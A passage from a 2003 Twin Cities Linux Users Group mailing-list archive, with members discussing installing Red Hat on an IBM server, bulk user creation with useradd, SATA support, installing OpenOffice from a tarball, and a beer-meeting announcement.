>get Red Hat running. Version doesn't matter, but the newer, the better. > >If anybody's ever worked with this server, that would be perfect. If we >can get two guys, a IBM Server experienced guy and then a Red Hat guy if >need be, that's great. I want to get this thing up and running prior to >the next installfest on Sept. 13th, so I can have it there and used. > >I'm willing to pay for somebody's beer (I'm 18, so pick it up yourself, >I'll reimburse) or pizza, or whatever in compensation. I'm up north of >Anoka, so your place would probably work better (HS's up in St. Francis, >would have to be like a Friday, til about 3pm) > >Let me know if any of you can help me with this, and if so, when's the >best time. Off the list would most likely work easiest. > >Thanks! > >Keith Bachman > > > >_______________________________________________ >TCLUG Mailing List - Minneapolis/St. Paul, Minnesota >http://www.mn-linux.org tclug-list@mn-linux.org >https://mailman.real-time.com/mailman/listinfo/tclug-list > > > Sounds like a lot of fun to me but I'm a Compaq/HP guy, I've worked with the IBM stuff but I'm not fond of it. In fact I quit IBM about a month ago because of the working conditions. If you want to know why go out to http://www.allianceibm.org I just can't work for a company that does the sort of things talked about on this website and tells the world they are great and that they support the Linux community. IBM is about profit and thats all. BTW don't reimburse for any beer, that could put the person who bought the beer in a very bad position. Pizza, soda, and friendship is the way to go. Sam. _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From JAustad at temgweb.com Mon Aug 18 11:40:10 2003 From: JAustad at temgweb.com (Austad, Jay) Date: Mon Jan 17 12:40:34 2005 Subject: [TCLUG] automake/autoconf versions Message-ID: <288FAF5565A1A74EA5E35C39E7EE1D420A1BDAC5@mail.temgweb.com> I have a piece of software that was originally written for Redhat 6.2. I need to compile this on Redhat 9, but I'm getting all sorts of errors related to automake. There's supposedly a tool called autoupdate, which will fix your configure.ac file, but after I run it, it doesn't seem to help. Does anyone know of a way to get code that required an old version of automake and autoconf to compile with newer versions without downgrading? -jay _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From jima at beer.tclug.org Mon Aug 18 12:41:53 2003 From: jima at beer.tclug.org (Jima) Date: Mon Jan 17 12:40:34 2005 Subject: [TCLUG] IdiotBen, RetardDan(?) In-Reply-To: <20030816162929.GA16043@refried.org> Message-ID: On Sat, 16 Aug 2003 nate@refried.org wrote: > Tell her you're taking her out to dinner on a Friday night to a random > new place. Then just sit down with the rest of us. :) Nate, I think that might be a bit telling. Have you tested this idea, or is it completely hypothetical? :) Speaking of which, I'll try to get the beer meeting announcement out sometime today. Jima _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From cbidler at innominatus.com Mon Aug 18 13:06:13 2003 From: cbidler at innominatus.com (Chris Johnson Bidler) Date: Mon Jan 17 12:40:34 2005 Subject: [TCLUG] Serial ATA In-Reply-To: <001b01c364d0$2b116000$0200a8c0@xpjoey> References: <000801c3644c$2cd6c2b0$0200a8c0@xpjoey> <3F3F8825.1070700@visi.com> <001b01c364d0$2b116000$0200a8c0@xpjoey> Message-ID: <41189.144.15.77.51.1061229973.squirrel@www.innominatus.com> I can't speak for the Intel 865 chipset, but my Asus A7N8X-Deluxe (nForce2 chipset) with a Silicon Image Si112A SATA/RAID controller works just fine. 2.4.21/22 kernels have support for the controller, it worked with no problem. I was even able to get UDMA working, though I do have to call hdparm from a script at boot time. I would recommend downloading a newer kernel (2.4.22-rc*. for example), and perusing $KERNEL/Documentation and/or running 'make [menu|x]config', to see if your SATA controller has a driver already in the kernel. If not, I'd visit http://www.linux-ide.org/ which has some links and information as well. -- Chris > I am putting a new computer together and from what I found by > searching the net it looks like there is a problem with Linux and > serial ATA. Just wondering if any one had first hand experience. _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From kcbnac at bnac.biz Mon Aug 18 14:06:39 2003 From: kcbnac at bnac.biz (K B) Date: Mon Jan 17 12:40:35 2005 Subject: [TCLUG] Need help with Potential Server [was: Potential Server] In-Reply-To: <3F410115.9020508@visi.com> Message-ID: <000001c365bb$de415860$4d73040a@WORKBOOK> Nooo...the beer would be for whoever's helping me. I don't want any. I could easily go to a local party if I wanted that. *Hasn't been to a party like that ever* -----Original Message----- From: tclug-list-admin@mn-linux.org [mailto:tclug-list-admin@mn-linux.org] On Behalf Of Sam MacDonald Sent: Monday, August 18, 2003 11:39 AM To: tclug-list@mn-linux.org Subject: Re: [TCLUG] Need help with Potential Server [was: Potential Server] K B wrote: >Okay...so I've got this IBM PC Server 330, and I'm planning on throwing >Linux on it. > >I need a few things: > >Up to 4 more HD racks for it. (I've got 2, I just swapped out the 4.3GB >HDs that were in there for 2 18.2GB Segate Cheetah 10ks. The more >racks, the more Cheetahs it gets. (And thus, more space...) (I've got 7 >total, at least...I picked up 17 SCSI HDs...lol...) > >I'm going to need some help getting Linux on it, so this is gonna take a >bit of somebody's help. > >If I could get together with somebody, your place or else at my work (my >old HS) with a high-speed connection (to do updates, etc) I'd like to >get Red Hat running. Version doesn't matter, but the newer, the better. > >If anybody's ever worked with this server, that would be perfect. If we >can get two guys, a IBM Server experienced guy and then a Red Hat guy if >need be, that's great. I want to get this thing up and running prior to >the next installfest on Sept. 13th, so I can have it there and used. > >I'm willing to pay for somebody's beer (I'm 18, so pick it up yourself, >I'll reimburse) or pizza, or whatever in compensation. I'm up north of >Anoka, so your place would probably work better (HS's up in St. Francis, >would have to be like a Friday, til about 3pm) > >Let me know if any of you can help me with this, and if so, when's the >best time. Off the list would most likely work easiest. > >Thanks! > >Keith Bachman > > > >_______________________________________________ >TCLUG Mailing List - Minneapolis/St. Paul, Minnesota >http://www.mn-linux.org tclug-list@mn-linux.org >https://mailman.real-time.com/mailman/listinfo/tclug-list > > > Sounds like a lot of fun to me but I'm a Compaq/HP guy, I've worked with the IBM stuff but I'm not fond of it. In fact I quit IBM about a month ago because of the working conditions. If you want to know why go out to http://www.allianceibm.org I just can't work for a company that does the sort of things talked about on this website and tells the world they are great and that they support the Linux community. IBM is about profit and thats all. BTW don't reimburse for any beer, that could put the person who bought the beer in a very bad position. Pizza, soda, and friendship is the way to go. Sam. _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From nassarmu at redconcepts.net Mon Aug 18 14:38:46 2003 From: nassarmu at redconcepts.net (Munir Nassar) Date: Mon Jan 17 12:40:35 2005 Subject: [TCLUG] need a variable or new way of doing this In-Reply-To: <20030818105910.5c14acc0.sfertch@real-time.com> References: <02a901c3659d$8ae1cab0$4364640a@DELL2><20030818104900.11a787be.sfertch @real-time.com> <20030818105910.5c14acc0.sfertch@real-time.com> Message-ID: <50519.65.165.40.11.1061235526.squirrel@secure.redconcepts.net> > Here's the syntax you want to follow. It worked for me on Slack, but the > password option didn't work: > > root@server:/# useradd -c 'User Name' -d /home/guest9 -g users -m -k > /etc/skel -p password -s /bin/bash -u 33499 guest9 why not name that: useradd -c $fullname -G users -m -p $password $username no need to specify the primary group, the skel, the shell or the home directory, they are automagically created. iirc $password needs to be crypt()ed you cannot use plaintext. plug the usernames,passwords,fullnames into vim (or excel if thats what turns you on username,password,fullname and from here you just need a perl script that plugs the info into an array, hashes the password and runs the above command. rinse and repeat a thousand times over, shouldnt take perl more than 2 minutes. (actually the home directory creation will take a while) of course i am no software designer so you will probably find a nicer way to do this. -- Munir Nassar RedConcepts.NET http://redconcepts.net/ _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From hackel at walkingfish.com Mon Aug 18 14:53:16 2003 From: hackel at walkingfish.com (Ryan Hayle) Date: Mon Jan 17 12:40:35 2005 Subject: [TCLUG] First Time with a tar.gz In-Reply-To: <3F40F81B.3060003@visi.com> References: <3F40F81B.3060003@visi.com> Message-ID: <20030818145316.6fbf42b3.hackel@walkingfish.com> On Mon, 18 Aug 2003 11:00:27 -0500 Sam MacDonald wrote: > I'm going to try to install Open Office on my linux box today. I down > > loaded the .tar.gz from OO.org > I haven't tried this ever so it should be good for some funny posts > :o) apt-get install openoffice.org. Couldn't be simpler. No monkey business. Even if you're not lucky enough to have a debian-based distro, I'm sure those redhat kiddies have something similar you can use instead of compiling the source... -- Ryan Hayle _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From smac at visi.com Mon Aug 18 15:00:58 2003 From: smac at visi.com (Sam MacDonald) Date: Mon Jan 17 12:40:35 2005 Subject: [TCLUG] Need help with Potential Server [was: Potential Server] In-Reply-To: <000001c365bb$de415860$4d73040a@WORKBOOK> References: <000001c365bb$de415860$4d73040a@WORKBOOK> Message-ID: <3F41307A.2010602@visi.com> What I mean is if the person who drank the beer, was in an accident and it came out that you payed for it. They would be in trouble for letting a minor purchase it. But by your purchasing however indirectly and with proof in this forum. You could be held liable for any damages from the accident. Yes this is all possible. K B wrote: >Nooo...the beer would be for whoever's helping me. I don't want any. I >could easily go to a local party if I wanted that. *Hasn't been to a >party like that ever* > >-----Original Message----- >From: tclug-list-admin@mn-linux.org >[mailto:tclug-list-admin@mn-linux.org] On Behalf Of Sam MacDonald >Sent: Monday, August 18, 2003 11:39 AM >To: tclug-list@mn-linux.org >Subject: Re: [TCLUG] Need help with Potential Server [was: Potential >Server] > > >K B wrote: > > > >>Okay...so I've got this IBM PC Server 330, and I'm planning on throwing >>Linux on it. >> >>I need a few things: >> >>Up to 4 more HD racks for it. (I've got 2, I just swapped out the >> >> >4.3GB > > >>HDs that were in there for 2 18.2GB Segate Cheetah 10ks. The more >>racks, the more Cheetahs it gets. (And thus, more space...) (I've got >> >> >7 > > >>total, at least...I picked up 17 SCSI HDs...lol...) >> >>I'm going to need some help getting Linux on it, so this is gonna take >> >> >a > > >>bit of somebody's help. >> >>If I could get together with somebody, your place or else at my work >> >> >(my > > >>old HS) with a high-speed connection (to do updates, etc) I'd like to >>get Red Hat running. Version doesn't matter, but the newer, the >> >> >better. > > >>If anybody's ever worked with this server, that would be perfect. If >> >> >we > > >>can get two guys, a IBM Server experienced guy and then a Red Hat guy >> >> >if > > >>need be, that's great. I want to get this thing up and running prior >> >> >to > > >>the next installfest on Sept. 13th, so I can have it there and used. >> >>I'm willing to pay for somebody's beer (I'm 18, so pick it up yourself, >>I'll reimburse) or pizza, or whatever in compensation. I'm up north of >>Anoka, so your place would probably work better (HS's up in St. >> >> >Francis, > > >>would have to be like a Friday, til about 3pm) >> >>Let me know if any of you can help me with this, and if so, when's the >>best time. Off the list would most likely work easiest. >> >>Thanks! >> >>Keith Bachman >> >> >> >>_______________________________________________ >>TCLUG Mailing List - Minneapolis/St. Paul, Minnesota >>http://www.mn-linux.org tclug-list@mn-linux.org >>https://mailman.real-time.com/mailman/listinfo/tclug-list >> >> >> >> >> >Sounds like a lot of fun to me but I'm a Compaq/HP guy, I've worked with > >the IBM stuff but I'm not fond of it. > >In fact I quit IBM about a month ago because of the working conditions. >If you want to know why go out to http://www.allianceibm.org I just >can't work for a company that does the sort of things talked about on >this website and tells the world they are great and that they support >the Linux community. IBM is about profit and thats all. > >BTW don't reimburse for any beer, that could put the person who bought >the beer in a very bad position. Pizza, soda, and friendship is the way >to go. > >Sam. > > > >_______________________________________________ >TCLUG Mailing List - Minneapolis/St. Paul, Minnesota >http://www.mn-linux.org tclug-list@mn-linux.org >https://mailman.real-time.com/mailman/listinfo/tclug-list > > > > >_______________________________________________ >TCLUG Mailing List - Minneapolis/St. Paul, Minnesota >http://www.mn-linux.org tclug-list@mn-linux.org >https://mailman.real-time.com/mailman/listinfo/tclug-list > > > _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From smac at visi.com Mon Aug 18 15:09:03 2003 From: smac at visi.com (Sam MacDonald) Date: Mon Jan 17 12:40:35 2005 Subject: [TCLUG] First Time with a tar.gz In-Reply-To: <20030818145316.6fbf42b3.hackel@walkingfish.com> References: <3F40F81B.3060003@visi.com> <20030818145316.6fbf42b3.hackel@walkingfish.com> Message-ID: <3F41325F.7040202@visi.com> It worked great for root. Now I have to figure out how to setup the application for others to use :?) Ryan Hayle wrote: >On Mon, 18 Aug 2003 11:00:27 -0500 Sam MacDonald wrote: > > > >>I'm going to try to install Open Office on my linux box today. I down >> >>loaded the .tar.gz from OO.org >>I haven't tried this ever so it should be good for some funny posts >>:o) >> >> > >apt-get install openoffice.org. Couldn't be simpler. No monkey >business. > >Even if you're not lucky enough to have a debian-based distro, I'm sure >those redhat kiddies have something similar you can use instead of >compiling the source... > > > _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From sfertch at real-time.com Mon Aug 18 15:06:46 2003 From: sfertch at real-time.com (Shawn) Date: Mon Jan 17 12:40:35 2005 Subject: [TCLUG] First Time with a tar.gz In-Reply-To: <20030818145316.6fbf42b3.hackel@walkingfish.com> References: <3F40F81B.3060003@visi.com> <20030818145316.6fbf42b3.hackel@walkingfish.com> Message-ID: <20030818150646.3d7052b5.sfertch@real-time.com> On Mon, 18 Aug 2003 14:53:16 -0500 Ryan Hayle wrote: > apt-get install openoffice.org. Couldn't be simpler. No monkey > business. > > Even if you're not lucky enough to have a debian-based distro, I'm > sure those redhat kiddies have something similar you can use instead > of compiling the source... > Bah! Compiling from source is nothing on Open Office... Get the source, install from source, feel the exposure to source, gain experience! =) It's not hard to install from source at all. IIRC, all you need to do: -download it (which you've already done) -mv it to a directory. I prefer to put it in /usr/local/src -tar zxvf OO tar.gz file -cd into source directory (usr/local/src/OpenOffice....) - run ./install -net (ya want this because then it's only a couple of megs in your home directory for each user) as root -su or login as non root user who will use this -run /usr/local/src/OpenOffice.../setup Follow the prompts. Simple enough. I haven't installed it in a while, but it's definately not hard. =) -- Shawn The difficult we do today; the impossible take a little longer. Ne Obliviscaris -- "Forget Not" _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From hackel at walkingfish.com Mon Aug 18 15:28:07 2003 From: hackel at walkingfish.com (Ryan Hayle) Date: Mon Jan 17 12:40:35 2005 Subject: [TCLUG] First Time with a tar.gz In-Reply-To: <20030818150646.3d7052b5.sfertch@real-time.com> References: <3F40F81B.3060003@visi.com> <20030818145316.6fbf42b3.hackel@walkingfish.com> <20030818150646.3d7052b5.sfertch@real-time.com> Message-ID: <20030818152807.53595faf.hackel@walkingfish.com> On Mon, 18 Aug 2003 15:06:46 -0500 Shawn wrote: > Bah! Compiling from source is nothing on Open Office... > > Get the source, install from source, feel the exposure to source, gain > experience! =) > > It's not hard to install from source at all. ... > Follow the prompts. Simple enough. I haven't installed it in a > while, but it's definately not hard. =) It would likely be hard for a Windows user who thinks "tar.gz" files are a new experience! I must be in the minority around here, but I know there's no way in hell I could compile OpenOffice.org on my system. Even if I did free up enough disk space, it would take me a couple days to finish all the compiling... Plus, "make install" makes me cringe...unmanaged files outside of my home directory?!? Eek! Hope their "make uninstall" is reliable! -- Ryan Hayle _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From sfertch at real-time.com Mon Aug 18 15:33:12 2003 From: sfertch at real-time.com (Shawn) Date: Mon Jan 17 12:40:35 2005 Subject: [TCLUG] First Time with a tar.gz In-Reply-To: <20030818152807.53595faf.hackel@walkingfish.com> References: <3F40F81B.3060003@visi.com> <20030818145316.6fbf42b3.hackel@walkingfish.com> <20030818150646.3d7052b5.sfertch@real-time.com> <20030818152807.53595faf.hackel@walkingfish.com> Message-ID: <20030818153312.68984e9f.sfertch@real-time.com> On Mon, 18 Aug 2003 15:28:07 -0500 Ryan Hayle wrote: > It would likely be hard for a Windows user who thinks "tar.gz" files > are a new experience! I must be in the minority around here, but I > know there's no way in hell I could compile OpenOffice.org on my > system. Even if I did free up enough disk space, it would take me a > couple days to finish all the compiling... Plus, "make install" makes > me cringe...unmanaged files outside of my home directory?!? Eek! > Hope their "make uninstall" is reliable! > Just do it.... I, and many others were in your shoes before. The first time was nerve wracking, after that, it's not hard at all. With the -net install option, it's only the executables (binaries) that reside outside your home directory. All your documents will reside by default in your home directory. You wouldn't want MS Office running from your "My Documents" directory now would you? Take the plunge!!! =) -- Shawn The difficult we do today; the impossible take a little longer. Ne Obliviscaris -- "Forget Not" _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From loren at lorenburlingame.com Mon Aug 18 15:45:34 2003 From: loren at lorenburlingame.com (Loren H. Burlingame) Date: Mon Jan 17 12:40:35 2005 Subject: [TCLUG] First Time with a tar.gz In-Reply-To: <20030818150646.3d7052b5.sfertch@real-time.com> References: <3F40F81B.3060003@visi.com> <20030818145316.6fbf42b3.hackel@walkingfish.com> <20030818150646.3d7052b5.sfertch@real-time.com> Message-ID: <3F413AEE.5020606@lorenburlingame.com> Shawn wrote: >On Mon, 18 Aug 2003 14:53:16 -0500 >Ryan Hayle wrote: > > >>apt-get install openoffice.org. Couldn't be simpler. No monkey >>business. >> >>Even if you're not lucky enough to have a debian-based distro, I'm >>sure those redhat kiddies have something similar you can use instead >>of compiling the source... >> >> >> > >Bah! Compiling from source is nothing on Open Office... > >Get the source, install from source, feel the exposure to source, gain experience! =) > >It's not hard to install from source at all. > >IIRC, all you need to do: > >-download it (which you've already done) >-mv it to a directory. I prefer to put it in /usr/local/src >-tar zxvf OO tar.gz file >-cd into source directory (usr/local/src/OpenOffice....) >- run ./install -net (ya want this because then it's only a couple of megs in your home directory for each user) as root >-su or login as non root user who will use this >-run /usr/local/src/OpenOffice.../setup > > > #emerge openoffice wow, compiling from source has never been easier! =P LB _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From gsker at tcfreenet.org Mon Aug 18 15:44:57 2003 From: gsker at tcfreenet.org (Gerald Skerbitz) Date: Mon Jan 17 12:40:35 2005 Subject: [TCLUG] First Time with a tar.gz In-Reply-To: <20030818153312.68984e9f.sfertch@real-time.com> Message-ID: <20030818154339.M94483-100000@tcfreenet.org> The Openoffice install from a tar.gz is not an install from source. It's just a binary install with OO's installer. No compile involved. -- Gerry Skerbitz gsker@tcfreenet.org On Mon, 18 Aug 2003, Shawn wrote: > On Mon, 18 Aug 2003 15:28:07 -0500 > Ryan Hayle wrote: > > It would likely be hard for a Windows user who thinks "tar.gz" files > > are a new experience! I must be in the minority around here, but I > > know there's no way in hell I could compile OpenOffice.org on my > > system. Even if I did free up enough disk space, it would take me a > > couple days to finish all the compiling... Plus, "make install" makes > > me cringe...unmanaged files outside of my home directory?!? Eek! > > Hope their "make uninstall" is reliable! > > Just do it.... I, and many others were in your shoes before. The first time was nerve wracking, after that, it's not hard at all. _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From sfertch at real-time.com Mon Aug 18 15:57:38 2003 From: sfertch at real-time.com (Shawn) Date: Mon Jan 17 12:40:35 2005 Subject: [TCLUG] First Time with a tar.gz In-Reply-To: <20030818154339.M94483-100000@tcfreenet.org> References: <20030818153312.68984e9f.sfertch@real-time.com> <20030818154339.M94483-100000@tcfreenet.org> Message-ID: <20030818155738.72eefdf7.sfertch@real-time.com> On Mon, 18 Aug 2003 15:44:57 -0500 (CDT) Gerald Skerbitz wrote: > The Openoffice install from a tar.gz is not an install from source. > It's just a binary install with OO's installer. > > No compile involved. > Which is what I stated in my first post when I broke it down on how to install from source. -- Shawn The difficult we do today; the impossible take a little longer. Ne Obliviscaris -- "Forget Not" _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From hackel at walkingfish.com Mon Aug 18 15:59:48 2003 From: hackel at walkingfish.com (Ryan Hayle) Date: Mon Jan 17 12:40:35 2005 Subject: [TCLUG] First Time with a tar.gz In-Reply-To: <20030818153312.68984e9f.sfertch@real-time.com> References: <3F40F81B.3060003@visi.com> <20030818145316.6fbf42b3.hackel@walkingfish.com> <20030818150646.3d7052b5.sfertch@real-time.com> <20030818152807.53595faf.hackel@walkingfish.com> <20030818153312.68984e9f.sfertch@real-time.com> Message-ID: <20030818155948.59e57db5.hackel@walkingfish.com> On Mon, 18 Aug 2003 15:33:12 -0500 Shawn wrote: > Just do it.... I, and many others were in your shoes before. The > first time was nerve wracking, after that, it's not hard at all. I don't find the idea nerve-wracking in any way. I don't doubt the process is extremely straight forward. I just know that I have about 200 megs free at the moment, and that ain't enough to compile anything that big. Not to mention how slow it would be with only 192M RAM... The point is that, compiling things is only advantageous to a very small segment of the market, and so shouldn't really be recommended to those who don't need it. > With the -net install option, it's only the executables (binaries) > that reside outside your home directory. All your documents will > reside by default in your home directory. Documents? Who cares about documents? The executables, shared libraries, language files, templates, etc. etc. are all stored outside your home directory, leaving a potential mess to clean up. I'm certainly not opposed to compiling, but you better believe I'm going to compile a debian/etc. package first! > You wouldn't want MS Office running from your "My Documents" directory > now would you? No, the point is that if the "make uninstall" isn't reliable, you end up with as bad a DLL hell as on Windows, and that's not cool! Most make uninstall's seem to work, but don't seem to remove the directories they create... And frankly, I'd much rather have MS Office run from my "My Documents" directory where it's nice and contained, not sprawled all out over the entire system! -- Ryan Hayle _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From jima at beer.tclug.org Mon Aug 18 16:19:24 2003 From: jima at beer.tclug.org (Jima) Date: Mon Jan 17 12:40:35 2005 Subject: [TCLUG] Beer Meeting Friday! Message-ID: --- snip --- A TCLUG beer meeting is a bi-weekly get-together where TCLUG members can get to know one another and share a beer. The beer meetings are open to anyone and everyone, so don't be afraid to show up. When: Friday, August 22, 2003 6pm - 8pm Where: Scoreboard 5765 Sanibel Drive Minnetonka, MN Details: By request. To quote the suggestion: "Reasonable prices, great appetizers. Happy hour drinks in a good selection. Crowds tend to start at the bar and fill-out the place from there. A pretty nice salad bar is stocked with a couple of soups, rolls, roasted chicken, and all the greens to make a rabbit happy." Come share a beer, or pop with fellow geeks. As always, everyone is welcome! Bring a friend, spouse, or co-worker. --- snip --- I've never been to the place, so it's new to me. Jima _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From jima at beer.tclug.org Mon Aug 18 16:19:24 2003 From: jima at beer.tclug.org (Jima) Date: Mon Jan 17 12:40:35 2005 Subject: [TCLUG] [TCLUG-ANNOUNCE] Beer Meeting Friday! Message-ID: --- snip --- A TCLUG beer meeting is a bi-weekly get-together where TCLUG members can get to know one another and share a beer. The beer meetings are open to anyone and everyone, so don't be afraid to show up. When: Friday, August 22, 2003 6pm - 8pm Where: Scoreboard 5765 Sanibel Drive Minnetonka, MN Details: By request. To quote the suggestion: "Reasonable prices, great appetizers. Happy hour drinks in a good selection. Crowds tend to start at the bar and fill-out the place from there. A pretty nice salad bar is stocked with a couple of soups, rolls, roasted chicken, and all the greens to make a rabbit happy." Come share a beer, or pop with fellow geeks. As always, everyone is welcome! Bring a friend, spouse, or co-worker. --- snip --- I've never been to the place, so it's new to me. Jima _______________________________________________ Twin Cities Linux Users Group Announcements - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-announce mailing list tclug-announce@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-announce _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From loren at lorenburlingame.com Mon Aug 18 16:37:12 2003 From: loren at lorenburlingame.com (Loren H. Burlingame) Date: Mon Jan 17 12:40:35 2005 Subject: [TCLUG] Beer Meeting Friday! In-Reply-To: References: Message-ID: <3F414708.50409@lorenburlingame.com> Jima wrote: >--- snip --- >A TCLUG beer meeting is a bi-weekly get-together where TCLUG members can >get to know one another and share a beer. The beer meetings are open to >anyone and everyone, so don't be afraid to show up. > >When: >Friday, August 22, 2003 >6pm - 8pm > >Where: >Scoreboard >5765 Sanibel Drive >Minnetonka, MN > >Details: >By request. To quote the suggestion: "Reasonable prices, great appetizers. >Happy hour drinks in a good selection. Crowds tend to start at the bar and >fill-out the place from there. A pretty nice salad bar is stocked with a >couple of soups, rolls, roasted chicken, and all the greens to make a >rabbit happy." >Come share a beer, or pop with fellow geeks. As always, everyone is >welcome! Bring a friend, spouse, or co-worker. >--- snip --- > > I've never been to the place, so it's new to me. > > Jima > > > When I worked at Lastermaster (now ColorSpan) we used to go here all the time.... It was NEVER crowded and IIRC they had a decent selection of brews on tap. LB _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From nate at refried.org Mon Aug 18 19:22:44 2003 From: nate at refried.org (nate@refried.org) Date: Mon Jan 17 12:40:36 2005 Subject: [TCLUG] IdiotBen, RetardDan(?) In-Reply-To: References: <20030816162929.GA16043@refried.org> Message-ID: <20030819002244.GA19924@refried.org> On Mon, Aug 18, 2003 at 12:41:53PM -0500, Jima wrote: > On Sat, 16 Aug 2003 nate@refried.org wrote: > > Tell her you're taking her out to dinner on a Friday night to a random > > new place. Then just sit down with the rest of us. :) > > Nate, I think that might be a bit telling. Have you tested this idea, or > is it completely hypothetical? :) It's completely hypothetical because my girl friend wants to come so she can drink Guiness. :) Nate _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From hackel at walkingfish.com Mon Aug 18 19:26:43 2003 From: hackel at walkingfish.com (Ryan Hayle) Date: Mon Jan 17 12:40:36 2005 Subject: [TCLUG] First Time with a tar.gz In-Reply-To: <20030818155738.72eefdf7.sfertch@real-time.com> References: <20030818153312.68984e9f.sfertch@real-time.com> <20030818154339.M94483-100000@tcfreenet.org> <20030818155738.72eefdf7.sfertch@real-time.com> Message-ID: <20030818192643.58900428.hackel@walkingfish.com> On Mon, 18 Aug 2003 15:57:38 -0500 Shawn wrote: > Which is what I stated in my first post when I broke it down on how to > install from source. Actually, not to point fingers, but you didn't. You also referred to it as "compiling" from source. I see I misinterpreted the original post, though. -- Ryan Hayle _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From smac at visi.com Mon Aug 18 19:34:18 2003 From: smac at visi.com (Sam MacDonald) Date: Mon Jan 17 12:40:36 2005 Subject: [TCLUG] First Time with a tar.gz In-Reply-To: <20030818155948.59e57db5.hackel@walkingfish.com> References: <3F40F81B.3060003@visi.com> <20030818145316.6fbf42b3.hackel@walkingfish.com> <20030818150646.3d7052b5.sfertch@real-time.com> <20030818152807.53595faf.hackel@walkingfish.com> <20030818153312.68984e9f.sfertch@real-time.com> <20030818155948.59e57db5.hackel@walkingfish.com> Message-ID: <3F41708A.2090703@visi.com> Ryan Hayle wrote: >On Mon, 18 Aug 2003 15:33:12 -0500 Shawn wrote: > > >>Just do it.... I, and many others were in your shoes before. The >>first time was nerve wracking, after that, it's not hard at all. >> >> > >I don't find the idea nerve-wracking in any way. I don't doubt the >process is extremely straight forward. I just know that I have about >200 megs free at the moment, and that ain't enough to compile anything >that big. Not to mention how slow it would be with only 192M RAM... >The point is that, compiling things is only advantageous to a very small >segment of the market, and so shouldn't really be recommended to those >who don't need it. > > > >>With the -net install option, it's only the executables (binaries) >>that reside outside your home directory. All your documents will >>reside by default in your home directory. >> >> > >Documents? Who cares about documents? The executables, shared >libraries, language files, templates, etc. etc. are all stored outside >your home directory, leaving a potential mess to clean up. I'm >certainly not opposed to compiling, but you better believe I'm going to >compile a debian/etc. package first! > > > >>You wouldn't want MS Office running from your "My Documents" directory >>now would you? >> >> > >No, the point is that if the "make uninstall" isn't reliable, you end up >with as bad a DLL hell as on Windows, and that's not cool! Most make >uninstall's seem to work, but don't seem to remove the directories they >create... > >And frankly, I'd much rather have MS Office run from my "My Documents" >directory where it's nice and contained, not sprawled all out over the >entire system! > > > Dang I'm done installing it ran much like the windows installed software I've run, no big deal. _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From smac at visi.com Mon Aug 18 19:36:08 2003 From: smac at visi.com (Sam MacDonald) Date: Mon Jan 17 12:40:36 2005 Subject: [TCLUG] [TCLUG-ANNOUNCE] Beer Meeting 